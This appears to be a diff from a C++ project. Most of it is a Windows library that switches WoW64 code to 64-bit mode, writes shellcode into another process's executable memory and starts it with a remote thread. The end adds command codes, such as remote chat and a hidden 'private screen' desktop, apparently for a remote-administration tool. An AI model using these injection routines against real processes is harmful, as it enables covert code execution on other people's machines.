_(0xe8)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)
|
||||||
|
_(0x45)_(0xe0)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xe4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)
|
||||||
|
_(0x45)_(0xe0)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)
|
||||||
|
_(0x89)_(0x45)_(0xd8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xdc)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)
|
||||||
|
_(0x13)_(0x45)_(0xd8)_(0x8b)_(0xc2)_(0xc7)_(0x45)_(0xfc)_(0x00)_(0x00)_(0x00)_(0x00)_(0x99)_(0x0f)_(0x57)_(0xc0)
|
||||||
|
_(0x89)_(0x45)_(0xc0)_(0x8b)_(0xc1)_(0x89)_(0x55)_(0xc4)_(0x99)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xc8)_(0x89)_(0x45)
|
||||||
|
_(0xd0)_(0x89)_(0x55)_(0xd4)_(0xc7)_(0x45)_(0xf8)_(0x00)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8c)_(0x65)_(0xf8)_(0xb8)
|
||||||
|
_(0x2b)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8e)_(0xe0)_(0x89)_(0x65)_(0xfc)_(0x83)_(0xe4)_(0xf0)_(0x6a)_(0x33)_(0xe8)
|
||||||
|
_(0x00)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x05)_(0xcb)_(0x48)_(0x8b)_(0x4d)_(0xf0)_(0x48)_(0x8b)_(0x55)
|
||||||
|
_(0xe8)_(0xff)_(0x75)_(0xe0)_(0x49)_(0x58)_(0xff)_(0x75)_(0xd8)_(0x49)_(0x59)_(0x48)_(0x8b)_(0x45)_(0xd0)_(0xa8)
|
||||||
|
_(0x01)_(0x75)_(0x03)_(0x83)_(0xec)_(0x08)_(0x57)_(0x48)_(0x8b)_(0x7d)_(0xc0)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x16)
|
||||||
|
_(0x48)_(0x8d)_(0x7c)_(0xc7)_(0xf8)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x0c)_(0xff)_(0x37)_(0x48)_(0x83)_(0xef)_(0x08)
|
||||||
|
_(0x48)_(0x83)_(0xe8)_(0x01)_(0xeb)_(0xef)_(0x48)_(0x83)_(0xec)_(0x20)_(0xff)_(0x55)_(0x08)_(0x48)_(0x8b)_(0x4d)
|
||||||
|
_(0xd0)_(0x48)_(0x8d)_(0x64)_(0xcc)_(0x20)_(0x5f)_(0x48)_(0x89)_(0x45)_(0xc8)_(0xe8)_(0x00)_(0x00)_(0x00)_(0x00)
|
||||||
|
_(0xc7)_(0x44)_(0x24)_(0x04)_(0x23)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x0d)_(0xcb)_(0x66)_(0x8c)_(0xd8)
|
||||||
|
_(0x66)_(0x8e)_(0xd0)_(0x8b)_(0x65)_(0xfc)_(0x66)_(0x8b)_(0x45)_(0xf8)_(0x66)_(0x8e)_(0xe0)_(0x8b)_(0x45)_(0xc8)
|
||||||
|
_(0x8b)_(0x55)_(0xcc)_(0x5f)_(0x5e)_(0x5b)_(0x8b)_(0xe5)_(0x5d)_(0xc3)
|
||||||
|
}
|
||||||
|
#undef _
|
||||||
|
}
|
||||||
|
|
||||||
|
class X64Call
|
||||||
|
{
|
||||||
|
template<typename char_t>
|
||||||
|
struct StringHelper : detail::GCBase
|
||||||
|
{
|
||||||
|
StringHelper(const char_t* v) : name(0) {
|
||||||
|
name = new _UNICODE_STRING_T<DWORD64>;
|
||||||
|
name->Buffer = (DWORD64)v;
|
||||||
|
name->Length = (WORD)tcslen(v) * sizeof(char_t);
|
||||||
|
name->MaximumLength = name->Length;
|
||||||
|
}
|
||||||
|
virtual void gc() { delete name; }
|
||||||
|
virtual DWORD64 toDWORD64() { return (DWORD64)name; }
|
||||||
|
private:
|
||||||
|
_UNICODE_STRING_T<DWORD64>* name;
|
||||||
|
};
|
||||||
|
template<typename T>
|
||||||
|
DWORD64 ToDWORD64(T v, detail::GCHelper*) {
|
||||||
|
return DWORD64(v);
|
||||||
|
}
|
||||||
|
template<> DWORD64 ToDWORD64<const char*>(const char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
|
||||||
|
template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
|
||||||
|
template<> DWORD64 ToDWORD64<char*>(char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
|
||||||
|
template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
DWORD64 func;
|
||||||
|
|
||||||
|
public:
|
||||||
|
X64Call(const char* funcName) : func(GetProcAddress64(0, GetNtDll64(), funcName)) {}
|
||||||
|
X64Call(DWORD64 module, const char* funcName) : func(GetProcAddress64(0, module, funcName)) {}
|
||||||
|
|
||||||
|
operator DWORD64() { return func; }
|
||||||
|
|
||||||
|
DWORD64 operator()() { return func && x64Call(func, 0); }
|
||||||
|
|
||||||
|
#define __TO_DWORD64_DECL(n) ToDWORD64(__PARAM(n), &helper)
|
||||||
|
#define TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n) ,
|
||||||
|
#define END_TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n)
|
||||||
|
#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> DWORD64 operator()(DECL_PARAMS_LIST(n)) { detail::GCHelper helper; return func && x64Call(func, n, REPEAT(n, TO_DWORD64_DECL, END_TO_DWORD64_DECL)); }
|
||||||
|
CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
|
||||||
|
CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)
|
||||||
|
#undef CALLERS
|
||||||
|
#undef END_TO_DWORD64_DECL
|
||||||
|
#undef TO_DWORD64_DECL
|
||||||
|
#undef __TO_DWORD64_DECL
|
||||||
|
};
|
||||||
|
|
||||||
|
inline VOID WINAPI SetLastError64(DWORD64 status)
|
||||||
|
{
|
||||||
|
typedef ULONG (WINAPI *RTL_NTSTATUS_TO_DOS_ERROR)(NTSTATUS Status);
|
||||||
|
typedef ULONG (WINAPI *RTL_SET_LAST_WIN32_ERROR)(NTSTATUS Status);
|
||||||
|
|
||||||
|
static RTL_NTSTATUS_TO_DOS_ERROR RtlNtStatusToDosError = (RTL_NTSTATUS_TO_DOS_ERROR)GetProcAddress(detail::hNtDll, "RtlNtStatusToDosError");
|
||||||
|
static RTL_SET_LAST_WIN32_ERROR RtlSetLastWin32Error = (RTL_SET_LAST_WIN32_ERROR)GetProcAddress(detail::hNtDll, "RtlSetLastWin32Error");
|
||||||
|
|
||||||
|
if (RtlNtStatusToDosError && RtlSetLastWin32Error)
|
||||||
|
RtlSetLastWin32Error(RtlNtStatusToDosError((DWORD)status));
|
||||||
|
}
|
||||||
|
|
||||||
|
inline SIZE_T WINAPI VirtualQueryEx64(HANDLE hProcess, DWORD64 lpAddress, MEMORY_BASIC_INFORMATION64* lpBuffer, SIZE_T dwLength)
|
||||||
|
{
|
||||||
|
static X64Call NtQueryVirtualMemory("NtQueryVirtualMemory");
|
||||||
|
if (!NtQueryVirtualMemory) return 0;
|
||||||
|
|
||||||
|
DWORD64 ret = 0;
|
||||||
|
DWORD64 status = NtQueryVirtualMemory(hProcess, lpAddress, 0, lpBuffer, dwLength, &ret);
|
||||||
|
if (!status) return (SIZE_T)ret;
|
||||||
|
|
||||||
|
SetLastError64(ret);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline DWORD64 WINAPI VirtualAllocEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
|
||||||
|
{
|
||||||
|
static X64Call NtAllocateVirtualMemory("NtAllocateVirtualMemory");
|
||||||
|
if (!NtAllocateVirtualMemory) return 0;
|
||||||
|
|
||||||
|
DWORD64 tmpAddr = lpAddress;
|
||||||
|
DWORD64 tmpSize = dwSize;
|
||||||
|
DWORD64 ret = NtAllocateVirtualMemory(hProcess, &tmpAddr, 0, &tmpSize, flAllocationType, flProtect);
|
||||||
|
if (!ret) return tmpAddr;
|
||||||
|
|
||||||
|
SetLastError64(ret);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline BOOL WINAPI VirtualFreeEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD dwFreeType)
|
||||||
|
{
|
||||||
|
static X64Call NtFreeVirtualMemory("NtFreeVirtualMemory");
|
||||||
|
if (!NtFreeVirtualMemory) return 0;
|
||||||
|
|
||||||
|
DWORD64 tmpAddr = lpAddress;
|
||||||
|
DWORD64 tmpSize = dwSize;
|
||||||
|
DWORD64 ret = NtFreeVirtualMemory(hProcess, &tmpAddr, &tmpSize, dwFreeType);
|
||||||
|
if (!ret) return TRUE;
|
||||||
|
|
||||||
|
SetLastError64(ret);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline BOOL WINAPI VirtualProtectEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* lpflOldProtect)
|
||||||
|
{
|
||||||
|
static X64Call NtProtectVirtualMemory("NtProtectVirtualMemory");
|
||||||
|
if (!NtProtectVirtualMemory) return 0;
|
||||||
|
|
||||||
|
DWORD64 tmpAddr = lpAddress;
|
||||||
|
DWORD64 tmpSize = dwSize;
|
||||||
|
DWORD64 ret = NtProtectVirtualMemory(hProcess, &tmpAddr, &tmpSize, flNewProtect, lpflOldProtect);
|
||||||
|
if (!ret) return TRUE;
|
||||||
|
|
||||||
|
SetLastError64(ret);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline BOOL WINAPI ReadProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead)
|
||||||
|
{
|
||||||
|
static X64Call NtReadVirtualMemory("NtReadVirtualMemory");
|
||||||
|
if (!NtReadVirtualMemory) return 0;
|
||||||
|
|
||||||
|
DWORD64 read = 0;
|
||||||
|
DWORD64 ret = NtReadVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &read);
|
||||||
|
if (!ret) {
|
||||||
|
if (lpNumberOfBytesRead) *lpNumberOfBytesRead = (SIZE_T)read;
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
SetLastError64(ret);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline BOOL WINAPI WriteProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten)
|
||||||
|
{
|
||||||
|
static X64Call NtWriteVirtualMemory("NtWriteVirtualMemory");
|
||||||
|
if (!NtWriteVirtualMemory) return 0;
|
||||||
|
|
||||||
|
DWORD64 written = 0;
|
||||||
|
DWORD64 ret = NtWriteVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &written);
|
||||||
|
if (!ret) {
|
||||||
|
if (lpNumberOfBytesWritten) *lpNumberOfBytesWritten = (SIZE_T)written;
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
SetLastError64(ret);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline HANDLE WINAPI CreateRemoteThread64(HANDLE hProcess,
|
||||||
|
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||||
|
SIZE_T dwStackSize,
|
||||||
|
DWORD64 lpStartAddress,
|
||||||
|
DWORD64 lpParameter,
|
||||||
|
DWORD dwCreationFlags,
|
||||||
|
LPDWORD lpThreadId)
|
||||||
|
{
|
||||||
|
static X64Call RtlCreateUserThread("RtlCreateUserThread");
|
||||||
|
if (!RtlCreateUserThread) return 0;
|
||||||
|
|
||||||
|
BOOLEAN createSuspended = dwCreationFlags & CREATE_SUSPENDED;
|
||||||
|
ULONG stackSize = dwStackSize;
|
||||||
|
DWORD64 handle = 0;
|
||||||
|
DWORD64 status = RtlCreateUserThread(hProcess, lpThreadAttributes, createSuspended, 0, (dwCreationFlags & STACK_SIZE_PARAM_IS_A_RESERVATION) ? &stackSize : NULL, &stackSize, lpStartAddress, lpParameter, &handle, NULL);
|
||||||
|
if (!status) return (HANDLE)handle;
|
||||||
|
|
||||||
|
SetLastError64(status);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
class ProcessWriter
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
template<typename T>
|
||||||
|
ProcessWriter(HANDLE hProcess, T content, SIZE_T dwSize, DWORD flProtect = PAGE_READWRITE)
|
||||||
|
: _autoRelease(TRUE)
|
||||||
|
, _hProcess(hProcess)
|
||||||
|
, _dw64Address(0)
|
||||||
|
, _dwSize(dwSize)
|
||||||
|
{
|
||||||
|
if (!(_dw64Address = VirtualAllocEx64(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, flProtect)))
|
||||||
|
return;
|
||||||
|
SIZE_T written = 0;
|
||||||
|
if (!WriteProcessMemory64(hProcess, _dw64Address, (PVOID)content, dwSize, &written) || written != dwSize) {
|
||||||
|
VirtualFreeEx64(hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
|
||||||
|
_dw64Address = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
~ProcessWriter() {
|
||||||
|
if (_dw64Address && _autoRelease)
|
||||||
|
VirtualFreeEx64(_hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
|
||||||
|
}
|
||||||
|
void SetDontRelese() {
|
||||||
|
_autoRelease = FALSE;
|
||||||
|
}
|
||||||
|
operator DWORD64() {
|
||||||
|
return (DWORD64)_dw64Address;
|
||||||
|
}
|
||||||
|
#ifdef _WIN64
|
||||||
|
template<typename T>
|
||||||
|
operator T*() {
|
||||||
|
return (T*)_dw64Address;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
private:
|
||||||
|
BOOL _autoRelease;
|
||||||
|
HANDLE _hProcess;
|
||||||
|
#ifdef _WIN64
|
||||||
|
LPVOID _dw64Address;
|
||||||
|
#else
|
||||||
|
DWORD64 _dw64Address;
|
||||||
|
#endif
|
||||||
|
SIZE_T _dwSize;
|
||||||
|
};
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
|
||||||
|
std::string makeShellCode(int cnt, bool is64Bit)
|
||||||
|
{
|
||||||
|
if(is64Bit) {
|
||||||
|
// see X64Delegator_disassemble for details
|
||||||
|
static const unsigned char kTmpl_x64[] = { 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x85, 0xc9, 0x74, 0x1d, 0x48, 0x83,
|
||||||
|
0x39, 0x00, 0x48, 0x8b, 0x41, 0x08, 0x74, 0x0b, 0xff, 0xd0, 0x48, 0x89, 0x03, 0x48, 0x83, 0xc4,
|
||||||
|
0x20, 0x5b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0xe0, 0x33, 0xc0, 0x48, 0x83, 0xc4,
|
||||||
|
0x20, 0x5b, 0xc3 };
|
||||||
|
|
||||||
|
std::string templ_x64((const char*)kTmpl_x64, sizeof(kTmpl_x64));
|
||||||
|
if(!cnt) return templ_x64;
|
||||||
|
|
||||||
|
templ_x64[13] += (cnt <= 4) ? cnt * 4 : (cnt - 4) * 9 + 16;
|
||||||
|
if(cnt >= 1)
|
||||||
|
templ_x64[16] = 0x3b;
|
||||||
|
|
||||||
|
if(cnt < 3) {
|
||||||
|
if(cnt >= 1) {
|
||||||
|
templ_x64.insert(22, "\x48\x8b\x49\x10", 4);
|
||||||
|
}
|
||||||
|
if(cnt >= 2) {
|
||||||
|
templ_x64.insert(22, "\x48\x8b\x51\x18", 4);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
templ_x64[20] = 0x49;
|
||||||
|
templ_x64[21] = 0x10;
|
||||||
|
templ_x64.insert(22, "\x48\x8B\x53\x18", 4);
|
||||||
|
templ_x64.insert(22, "\x4c\x8b\x43\x20", 4);
|
||||||
|
templ_x64.insert(22, "\x48\x8b\x43\x08", 4);
|
||||||
|
if(cnt >= 4) {
|
||||||
|
templ_x64.insert(26, "\x4c\x8b\x4b\x28", 4);
|
||||||
|
}
|
||||||
|
if(cnt >= 5) {
|
||||||
|
templ_x64.insert(18, "\x4c\x8B\x53\x30", 4);
|
||||||
|
templ_x64.insert(42, "\x4c\x89\x54\x24\x20", 5);
|
||||||
|
}
|
||||||
|
if(cnt >= 6) {
|
||||||
|
templ_x64[21] = 0x38;
|
||||||
|
templ_x64.insert(22, "\x4c\x8b\x5b\x30", 4);
|
||||||
|
templ_x64[50] = 0x28;
|
||||||
|
templ_x64.insert(51, "\x4c\x89\x5c\x24\x20", 5);
|
||||||
|
}
|
||||||
|
// TODO
|
||||||
|
}
|
||||||
|
return templ_x64;
|
||||||
|
}
|
||||||
|
// see X86Delegator_disassemble for details
|
||||||
|
static const unsigned char kTmpl_x86[] = { 0x55, 0x8b, 0xec, 0x51, 0x83, 0x7d, 0x08, 0x00, 0x74, 0x0c, 0x8b ,0x45, 0x08, 0x8b, 0x08, 0xff,
|
||||||
|
0xd0, 0x89, 0x45, 0xfc, 0xeb, 0x07, 0xc7, 0x45, 0xfc, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xfc,
|
||||||
|
0x8b, 0xe5, 0x5d, 0xc3 };
|
||||||
|
std::string templ_x86((const char*)kTmpl_x86, sizeof(kTmpl_x86));
|
||||||
|
// je distance
|
||||||
|
templ_x86[9] += cnt * 7;
|
||||||
|
templ_x86[16] += ((1 - cnt) % 3 + 3) % 3;
|
||||||
|
int pos = 13;
|
||||||
|
for(int i = 0; i < cnt; ++i) {
|
||||||
|
switch(i % 3) {
|
||||||
|
case 0:
|
||||||
|
templ_x86.insert(pos, "\x8b\x48\xcc\x51\x8b\x55\x08", 7);
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
templ_x86.insert(pos, "\x8b\x42\xcc\x50\x8b\x4d\x08", 7);
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
templ_x86.insert(pos, "\x8b\x51\xcc\x52\x8b\x45\x08", 7);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
templ_x86[pos + 2] = (cnt - i) << 2;
|
||||||
|
pos += 7;
|
||||||
|
}
|
||||||
|
switch(cnt % 3) {
|
||||||
|
case 0:
|
||||||
|
templ_x86[pos + 1] = 0x08;
|
||||||
|
break;
|
||||||
|
case 1:
|
||||||
|
templ_x86[pos + 1] = 0x02;
|
||||||
|
break;
|
||||||
|
case 2:
|
||||||
|
templ_x86[pos + 1] = 0x11;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return templ_x86;
|
||||||
|
}
|
||||||
|
|
||||||
|
template<int argCnt, bool is64Bit>
|
||||||
|
const std::string& shellCode() {
|
||||||
|
static std::string kCode = makeShellCode(argCnt, is64Bit);
|
||||||
|
return kCode;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
class YAPICall
|
||||||
|
{
|
||||||
|
template<typename T>
|
||||||
|
DWORD64 ToDWORD64(T v, HANDLE hProcess, detail::GCHelper*) {
|
||||||
|
return DWORD64(v);
|
||||||
|
}
|
||||||
|
template<typename char_t>
|
||||||
|
struct StringHelper : detail::GCBase
|
||||||
|
{
|
||||||
|
StringHelper(HANDLE hProcess, const char_t* v) : name(0) {
|
||||||
|
name = new ProcessWriter(hProcess, v, (tcslen(v) + 1) * sizeof(char_t));
|
||||||
|
}
|
||||||
|
virtual void gc() { delete name; }
|
||||||
|
virtual DWORD64 toDWORD64() { return (DWORD64)*name; }
|
||||||
|
private:
|
||||||
|
ProcessWriter* name;
|
||||||
|
};
|
||||||
|
template<> DWORD64 ToDWORD64<const char*>(const char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
|
||||||
|
template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
|
||||||
|
template<> DWORD64 ToDWORD64<char*>(char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
|
||||||
|
template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
HANDLE _hProcess;
|
||||||
|
ProcessWriter* _sc;
|
||||||
|
DWORD64 func;
|
||||||
|
BOOL _dw64Ret;
|
||||||
|
DWORD _dwTimeout;
|
||||||
|
BOOL _is64Bit;
|
||||||
|
|
||||||
|
template<int argCnt>
|
||||||
|
bool initShellCoder(ProcessWriter*& sc) {
|
||||||
|
if(sc) return false;
|
||||||
|
const std::string& shellcode = _is64Bit ? shellCode<argCnt, 1>() : shellCode<argCnt, 0>();
|
||||||
|
sc = new ProcessWriter(_hProcess, shellcode.data(), shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename T>
|
||||||
|
DWORD64 call(const std::vector<T>& param) {
|
||||||
|
ProcessWriter p(_hProcess, ¶m[0], sizeof(T) * (param.size()));
|
||||||
|
if (!p) return -1;
|
||||||
|
HANDLE hThread = 0;
|
||||||
|
if (_is64Bit)
|
||||||
|
hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
|
||||||
|
else {
|
||||||
|
#ifdef _WIN64
|
||||||
|
// see X64toX86_disassemble for details
|
||||||
|
static const unsigned char kTmpl_x64_to_x86[] = { 0x48, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x8b, 0x48,
|
||||||
|
0x08, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x6a, 0x33, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x83, 0x04, 0x24,
|
||||||
|
0x05, 0xcb, 0xff, 0xd0, 0xe8, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x23, 0x00, 0x00,
|
||||||
|
0x00, 0x83, 0x04, 0x24, 0x0d, 0xcb, 0x48, 0x83, 0xc4, 0x28, 0xc3 };
|
||||||
|
std::string x86_shellcode((char*)kTmpl_x64_to_x86, sizeof(kTmpl_x64_to_x86));
|
||||||
|
ProcessWriter* sc = new ProcessWriter(_hProcess, x86_shellcode.data(), x86_shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
|
||||||
|
sc->SetDontRelese();
|
||||||
|
hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
|
||||||
|
#else
|
||||||
|
hThread = CreateRemoteThread(_hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)(DWORD64)*_sc, (PVOID)(DWORD64)p, 0, NULL);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
if (!hThread) return -1;
|
||||||
|
if (WaitForSingleObject(hThread, _dwTimeout) != WAIT_OBJECT_0) {
|
||||||
|
_sc->SetDontRelese();
|
||||||
|
CloseHandle(hThread);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if (!_is64Bit || !_dw64Ret) {
|
||||||
|
DWORD ret = 0;
|
||||||
|
GetExitCodeThread(hThread, &ret);
|
||||||
|
CloseHandle(hThread);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
DWORD64 ret = 0;
|
||||||
|
CloseHandle(hThread);
|
||||||
|
ReadProcessMemory64(_hProcess, p, &ret, sizeof(DWORD64), NULL);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
public:
|
||||||
|
YAPICall(HANDLE hProcess, const char* funcName)
|
||||||
|
: _hProcess(hProcess)
|
||||||
|
, _sc(0)
|
||||||
|
, func(GetProcAddress64(hProcess, GetNtDll64(), funcName))
|
||||||
|
, _dw64Ret(FALSE)
|
||||||
|
, _dwTimeout(INFINITE)
|
||||||
|
, _is64Bit(detail::is64BitOS)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
YAPICall(HANDLE hProcess, DWORD64 moudle, const char* funcName)
|
||||||
|
: _hProcess(hProcess)
|
||||||
|
, _sc(0)
|
||||||
|
, func(GetProcAddress64(hProcess, moudle, funcName))
|
||||||
|
, _dw64Ret(FALSE)
|
||||||
|
, _dwTimeout(INFINITE)
|
||||||
|
, _is64Bit(detail::is64BitOS)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
YAPICall(HANDLE hProcess, const TCHAR* modName, const char* funcName)
|
||||||
|
: _hProcess(hProcess)
|
||||||
|
, _sc(0)
|
||||||
|
, func(GetProcAddress64(hProcess, GetModuleHandle64(hProcess, modName), funcName))
|
||||||
|
, _dw64Ret(FALSE)
|
||||||
|
, _dwTimeout(INFINITE)
|
||||||
|
, _is64Bit(detail::is64BitOS)
|
||||||
|
{
|
||||||
|
if(!func) {
|
||||||
|
func = GetProcAddress(hProcess, GetModuleHandle(hProcess, modName), funcName);
|
||||||
|
_is64Bit = FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
~YAPICall() { if (_sc) delete _sc; }
|
||||||
|
|
||||||
|
operator DWORD64() { return func; }
|
||||||
|
|
||||||
|
YAPICall& Dw64() { _dw64Ret = TRUE; return *this; }
|
||||||
|
YAPICall& Timeout(DWORD dwTimeout) { _dwTimeout = dwTimeout; return *this; }
|
||||||
|
|
||||||
|
#define TO_DWORD64_ARRAY_DECL(n) param[n + 1] = ToDWORD64(__PARAM(n), _hProcess, &helper);
|
||||||
|
#define TO_DWORD_ARRAY_DECL(n) param[n] = (DWORD)ToDWORD64(__PARAM(n), _hProcess, &helper);
|
||||||
|
|
||||||
|
#define CALLERSX(n) \
|
||||||
|
DWORD64 operator()(DECL_PARAMS_LIST(n)) {\
|
||||||
|
bool b = initShellCoder<n>(_sc);\
|
||||||
|
if(!b || !func || !_sc || !*_sc) return -1;\
|
||||||
|
detail::GCHelper helper;\
|
||||||
|
if(_is64Bit) {\
|
||||||
|
std::vector<DWORD64> param(n + 2, 0);\
|
||||||
|
param[0] = _dw64Ret;\
|
||||||
|
param[1] = func;\
|
||||||
|
REPEAT(n, TO_DWORD64_ARRAY_DECL, TO_DWORD64_ARRAY_DECL)\
|
||||||
|
return call<DWORD64>(param);\
|
||||||
|
}\
|
||||||
|
std::vector<DWORD> param(n + 1, 0);\
|
||||||
|
param[0] = (DWORD)func;\
|
||||||
|
REPEAT(n, TO_DWORD_ARRAY_DECL, TO_DWORD_ARRAY_DECL)\
|
||||||
|
return call<DWORD>(param);\
|
||||||
|
}
|
||||||
|
#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> CALLERSX(n)
|
||||||
|
CALLERSX( 0)
|
||||||
|
CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) /*CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
|
||||||
|
CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)*/
|
||||||
|
#undef CALLERSX
|
||||||
|
#undef CALLERS
|
||||||
|
#undef TO_DWORD_ARRAY_DECL
|
||||||
|
#undef TO_DWORD64_ARRAY_DECL
|
||||||
|
};
|
||||||
|
|
||||||
|
#define YAPI(h, m, f) YAPICall(h, m, #f)
|
||||||
|
}
|
||||||
+38
-1
@@ -320,6 +320,16 @@ enum {
|
|||||||
COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动
|
COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动
|
||||||
TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动
|
TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动
|
||||||
|
|
||||||
|
COMMAND_CHAT = 161, // 服务端 → 客户端:发起远程交谈(双向聊天)
|
||||||
|
COMMAND_MACHINE_MANAGE = 162, // 服务端 → 客户端:打开主机管理对话框
|
||||||
|
COMMAND_FILE_MANAGER_PLUGIN = 163, // 服务端 → 客户端:打开插件文件管理对话框(SimplePlugins 迁移)
|
||||||
|
COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端:打开隐私屏幕(虚拟桌面,SimplePlugins 迁移)
|
||||||
|
COMMAND_DRAWING_BOARD_PLUGIN = 165, // 服务端 → 客户端:打开远程画板(SimplePlugins 迁移)
|
||||||
|
